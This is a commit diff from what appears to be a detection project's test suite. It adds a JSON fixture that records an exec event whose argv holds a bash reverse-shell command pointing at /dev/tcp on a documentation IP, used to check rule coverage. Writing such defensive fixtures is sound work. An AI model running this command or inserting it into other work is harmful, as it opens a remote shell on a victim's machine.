Add enrichment and SID coverage gates
This commit is contained in:
parent
93ac47dd82
commit
66472134d8
32 changed files with 1623 additions and 31 deletions
9
tests/fixtures/sids/100002-reverse-shell-argv.json
vendored
Normal file
9
tests/fixtures/sids/100002-reverse-shell-argv.json
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
{
|
||||
"event": "exec",
|
||||
"pid": 4243,
|
||||
"ppid": 4100,
|
||||
"uid": 1000,
|
||||
"parent_comm": "sshd",
|
||||
"filename": "/usr/bin/bash",
|
||||
"argv": ["-c", "bash -i >& /dev/tcp/203.0.113.7/443 0>&1"]
|
||||
}
|
||||
Loading…
Add table
Add a link
Reference in a new issue